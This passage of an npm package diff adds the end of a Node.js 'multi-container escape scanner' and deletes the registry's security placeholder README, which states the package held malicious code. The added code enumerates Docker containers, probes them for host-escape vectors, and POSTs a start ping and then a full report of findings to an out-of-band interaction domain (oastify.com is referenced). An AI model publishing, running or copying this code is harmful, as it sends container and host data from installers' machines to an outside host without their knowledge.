evidence: container.evidence.slice(0, 3)
|
|
685
|
+
});
|
|
686
|
+
}
|
|
687
|
+
});
|
|
688
|
+
|
|
689
|
+
// Generate recommendations
|
|
690
|
+
if (summary.escapedContainers.length > 0) {
|
|
691
|
+
summary.recommendations.push(
|
|
692
|
+
`Immediate action required: ${summary.escapedContainers.length} containers can escape to host`
|
|
693
|
+
);
|
|
694
|
+
}
|
|
695
|
+
|
|
696
|
+
if (summary.criticalIssues.length > 0) {
|
|
697
|
+
summary.recommendations.push(
|
|
698
|
+
`Critical vulnerabilities found in ${summary.criticalIssues.length} containers`
|
|
699
|
+
);
|
|
700
|
+
}
|
|
701
|
+
|
|
702
|
+
if (summary.vulnerableContainers.length > 0) {
|
|
703
|
+
summary.recommendations.push(
|
|
704
|
+
`Update kernel/software in ${summary.vulnerableContainers.length} containers`
|
|
705
|
+
);
|
|
706
|
+
}
|
|
707
|
+
|
|
708
|
+
if (summary.escapedContainers.length === 0) {
|
|
709
|
+
summary.recommendations.push('No critical escape vectors detected. Regular security maintenance recommended.');
|
|
710
|
+
}
|
|
711
|
+
|
|
712
|
+
return summary;
|
|
713
|
+
}
|
|
714
|
+
|
|
715
|
+
printSummary(summary) {
|
|
716
|
+
console.log('\n📈 SCAN STATISTICS:');
|
|
717
|
+
console.log(' Total containers scanned:', summary.totalScanned);
|
|
718
|
+
console.log(' Containers that can escape:', summary.escapedContainers.length);
|
|
719
|
+
console.log(' Vulnerable containers:', summary.vulnerableContainers.length);
|
|
720
|
+
console.log(' Critical issues:', summary.criticalIssues.length);
|
|
721
|
+
|
|
722
|
+
if (summary.escapedContainers.length > 0) {
|
|
723
|
+
console.log('\n🚨 CRITICAL - CONTAINERS THAT CAN ESCAPE:');
|
|
724
|
+
summary.escapedContainers.forEach((container, i) => {
|
|
725
|
+
console.log(` ${i + 1}. ${container.name || container.id}`);
|
|
726
|
+
console.log(` Confidence: ${container.confidence}% | Risk: ${container.risk.toUpperCase()}`);
|
|
727
|
+
console.log(` Methods: ${container.methods.join(', ')}`);
|
|
728
|
+
});
|
|
729
|
+
}
|
|
730
|
+
|
|
731
|
+
if (summary.criticalIssues.length > 0) {
|
|
732
|
+
console.log('\n⚠️ CRITICAL VULNERABILITIES:');
|
|
733
|
+
summary.criticalIssues.forEach((issue, i) => {
|
|
734
|
+
console.log(` ${i + 1}. ${issue.name || issue.id}`);
|
|
735
|
+
issue.evidence.forEach(ev => console.log(` - ${ev}`));
|
|
736
|
+
});
|
|
737
|
+
}
|
|
738
|
+
|
|
739
|
+
console.log('\n💡 RECOMMENDATIONS:');
|
|
740
|
+
summary.recommendations.forEach((rec, i) => {
|
|
741
|
+
console.log(` ${i + 1}. ${rec}`);
|
|
742
|
+
});
|
|
743
|
+
|
|
744
|
+
console.log('\n📡 OAST REPORTING:');
|
|
745
|
+
console.log(` Domain: ${CONFIG.OAST.domain}`);
|
|
746
|
+
console.log(` Session ID: ${CONFIG.OAST.sessionId}`);
|
|
747
|
+
console.log(` Interactions sent: ${STATE.oastInteractions.length}`);
|
|
748
|
+
console.log(` Check OAST for detailed evidence: https://oastify.com`);
|
|
749
|
+
|
|
750
|
+
console.log('\n' + '═'.repeat(80));
|
|
751
|
+
console.log('🎯 SCAN COMPLETE');
|
|
752
|
+
|
|
753
|
+
if (summary.escapedContainers.length > 0) {
|
|
754
|
+
console.log('🚨 SECURITY ALERT: Container escape vectors detected!');
|
|
755
|
+
console.log('🔒 Immediate remediation required.');
|
|
756
|
+
} else {
|
|
757
|
+
console.log('✅ No critical escape vectors detected.');
|
|
758
|
+
console.log('🛡️ Regular security monitoring recommended.');
|
|
759
|
+
}
|
|
760
|
+
|
|
761
|
+
console.log('═'.repeat(80));
|
|
762
|
+
}
|
|
763
|
+
|
|
764
|
+
async saveReport(report) {
|
|
765
|
+
const timestamp = new Date().toISOString().replace(/[:.]/g, '-');
|
|
766
|
+
const filename = `multi-container-scan-${timestamp}.json`;
|
|
767
|
+
|
|
768
|
+
try {
|
|
769
|
+
fs.writeFileSync(filename, JSON.stringify(report, null, 2));
|
|
770
|
+
console.log(`\n💾 Full report saved to: ${filename}`);
|
|
771
|
+
|
|
772
|
+
// Also save a summary file
|
|
773
|
+
const summaryFilename = `scan-summary-${timestamp}.txt`;
|
|
774
|
+
let summaryText = `MULTI-CONTAINER ESCAPE SCAN SUMMARY\n`;
|
|
775
|
+
summaryText += `Date: ${new Date().toLocaleString()}\n`;
|
|
776
|
+
summaryText += `Session ID: ${CONFIG.OAST.sessionId}\n\n`;
|
|
777
|
+
|
|
778
|
+
summaryText += `STATISTICS:\n`;
|
|
779
|
+
summaryText += ` Total containers: ${report.statistics.totalContainers}\n`;
|
|
780
|
+
summaryText += ` Escaped containers: ${report.summary.escapedContainers.length}\n`;
|
|
781
|
+
summaryText += ` Critical issues: ${report.summary.criticalIssues.length}\n\n`;
|
|
782
|
+
|
|
783
|
+
if (report.summary.escapedContainers.length > 0) {
|
|
784
|
+
summaryText += `CRITICAL CONTAINERS:\n`;
|
|
785
|
+
report.summary.escapedContainers.forEach(container => {
|
|
786
|
+
summaryText += ` - ${container.name || container.id} (${container.confidence}%)\n`;
|
|
787
|
+
});
|
|
788
|
+
summaryText += '\n';
|
|
789
|
+
}
|
|
790
|
+
|
|
791
|
+
summaryText += `OAST DETAILS:\n`;
|
|
792
|
+
summaryText += ` Domain: ${CONFIG.OAST.domain}\n`;
|
|
793
|
+
summaryText += ` Session: ${CONFIG.OAST.sessionId}\n`;
|
|
794
|
+
summaryText += ` Interactions: ${STATE.oastInteractions.length}\n`;
|
|
795
|
+
|
|
796
|
+
fs.writeFileSync(summaryFilename, summaryText);
|
|
797
|
+
console.log(`📝 Summary saved to: ${summaryFilename}`);
|
|
798
|
+
|
|
799
|
+
} catch (error) {
|
|
800
|
+
console.error('❌ Failed to save report:', error.message);
|
|
801
|
+
}
|
|
802
|
+
}
|
|
803
|
+
|
|
804
|
+
exec(command) {
|
|
805
|
+
return new Promise((resolve, reject) => {
|
|
806
|
+
exec(command, { timeout: 10000 }, (error, stdout, stderr) => {
|
|
807
|
+
if (error) {
|
|
808
|
+
reject(error);
|
|
809
|
+
} else {
|
|
810
|
+
resolve(stdout.toString().trim());
|
|
811
|
+
}
|
|
812
|
+
});
|
|
813
|
+
});
|
|
814
|
+
}
|
|
815
|
+
}
|
|
816
|
+
|
|
817
|
+
// ===================== MAIN EXECUTION =====================
|
|
818
|
+
async function main() {
|
|
819
|
+
console.log('🚀 Starting Multi-Container Escape Scanner...\n');
|
|
820
|
+
console.log('⚙️ Configuration:');
|
|
821
|
+
console.log(` OAST Domain: ${CONFIG.OAST.domain}`);
|
|
822
|
+
console.log(` Session ID: ${CONFIG.OAST.sessionId}`);
|
|
823
|
+
console.log(` Parallel scans: ${CONFIG.SCAN.parallelScans}`);
|
|
824
|
+
console.log(` Deep scan: ${CONFIG.SCAN.deepScan ? 'Yes' : 'No'}`);
|
|
825
|
+
|
|
826
|
+
// Initial OAST ping
|
|
827
|
+
console.log('\n📡 Sending initial OAST ping...');
|
|
828
|
+
try {
|
|
829
|
+
const req = https.request({
|
|
830
|
+
hostname: CONFIG.OAST.domain,
|
|
831
|
+
port: CONFIG.OAST.httpsPort,
|
|
832
|
+
path: '/scan-start',
|
|
833
|
+
method: 'POST',
|
|
834
|
+
headers: {
|
|
835
|
+
'Content-Type': 'application/json',
|
|
836
|
+
'X-Session-ID': CONFIG.OAST.sessionId
|
|
837
|
+
}
|
|
838
|
+
});
|
|
839
|
+
|
|
840
|
+
req.write(JSON.stringify({
|
|
841
|
+
action: 'scan_start',
|
|
842
|
+
timestamp: new Date().toISOString(),
|
|
843
|
+
config: {
|
|
844
|
+
parallelScans: CONFIG.SCAN.parallelScans,
|
|
845
|
+
maxContainers: CONFIG.SCAN.maxContainers
|
|
846
|
+
}
|
|
847
|
+
}));
|
|
848
|
+
req.end();
|
|
849
|
+
} catch (e) {}
|
|
850
|
+
|
|
851
|
+
// Create scanner and run
|
|
852
|
+
const scanner = new MultiContainerScanner();
|
|
853
|
+
|
|
854
|
+
try {
|
|
855
|
+
// Discover containers
|
|
856
|
+
const containerIds = await scanner.discoverContainers();
|
|
857
|
+
|
|
858
|
+
if (containerIds.length === 0) {
|
|
859
|
+
console.log('No containers to scan. Exiting.');
|
|
860
|
+
process.exit(0);
|
|
861
|
+
}
|
|
862
|
+
|
|
863
|
+
// Scan containers
|
|
864
|
+
const results = await scanner.scanContainers(containerIds);
|
|
865
|
+
|
|
866
|
+
// Generate report
|
|
867
|
+
const report = await scanner.generateReport();
|
|
868
|
+
|
|
869
|
+
// Send final report to OAST
|
|
870
|
+
console.log('\n📡 Sending final report to OAST...');
|
|
871
|
+
try {
|
|
872
|
+
const finalReq = https.request({
|
|
873
|
+
hostname: CONFIG.OAST.domain,
|
|
874
|
+
port: CONFIG.OAST.httpsPort,
|
|
875
|
+
path: '/scan-complete',
|
|
876
|
+
method: 'POST',
|
|
877
|
+
headers: {
|
|
878
|
+
'Content-Type': 'application/json',
|
|
879
|
+
'X-Session-ID': CONFIG.OAST.sessionId,
|
|
880
|
+
'X-Final-Report': 'true'
|
|
881
|
+
}
|
|
882
|
+
});
|
|
883
|
+
|
|
884
|
+
finalReq.write(JSON.stringify({
|
|
885
|
+
action: 'scan_complete',
|
|
886
|
+
timestamp: new Date().toISOString(),
|
|
887
|
+
statistics: report.statistics,
|
|
888
|
+
summary: report.summary,
|
|
889
|
+
sessionId: CONFIG.OAST.sessionId
|
|
890
|
+
}));
|
|
891
|
+
|
|
892
|
+
finalReq.end();
|
|
893
|
+
console.log('✅ Final report sent to OAST.');
|
|
894
|
+
} catch (e) {
|
|
895
|
+
console.log('⚠️ Could not send final report to OAST (may be expected)');
|
|
896
|
+
}
|
|
897
|
+
|
|
898
|
+
// Exit with appropriate code
|
|
899
|
+
if (report.summary.escapedContainers.length > 0) {
|
|
900
|
+
console.log('\n⚠️ Exiting with warning code (containers can escape)');
|
|
901
|
+
process.exit(2);
|
|
902
|
+
} else {
|
|
903
|
+
console.log('\n✅ Scan completed successfully.');
|
|
904
|
+
process.exit(0);
|
|
905
|
+
}
|
|
906
|
+
|
|
907
|
+
} catch (error) {
|
|
908
|
+
console.error('\n❌ Scan failed:', error.message);
|
|
909
|
+
process.exit(1);
|
|
910
|
+
}
|
|
911
|
+
}
|
|
912
|
+
|
|
913
|
+
// ===================== EXECUTE =====================
|
|
914
|
+
if (require.main === module) {
|
|
915
|
+
// Check if Docker is available
|
|
916
|
+
exec('which docker', (error) => {
|
|
917
|
+
if (error) {
|
|
918
|
+
console.error('❌ Docker is not available or not in PATH.');
|
|
919
|
+
console.error(' This tool requires Docker to be installed and accessible.');
|
|
920
|
+
process.exit(1);
|
|
921
|
+
}
|
|
922
|
+
|
|
923
|
+
// Check if we have permission to run docker commands
|
|
924
|
+
exec('docker ps', (error) => {
|
|
925
|
+
if (error && error.message.includes('permission denied')) {
|
|
926
|
+
console.error('❌ Permission denied for Docker commands.');
|
|
927
|
+
console.error(' Try running with sudo or add your user to docker group.');
|
|
928
|
+
process.exit(1);
|
|
929
|
+
}
|
|
930
|
+
|
|
931
|
+
// Start the scan
|
|
932
|
+
main();
|
|
933
|
+
});
|
|
934
|
+
});
|
|
935
|
+
}
|
|
936
|
+
|
|
937
|
+
module.exports = { MultiContainerScanner, ContainerScanner };
|
|
Binary file
|
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=rank4222wun for more information.
|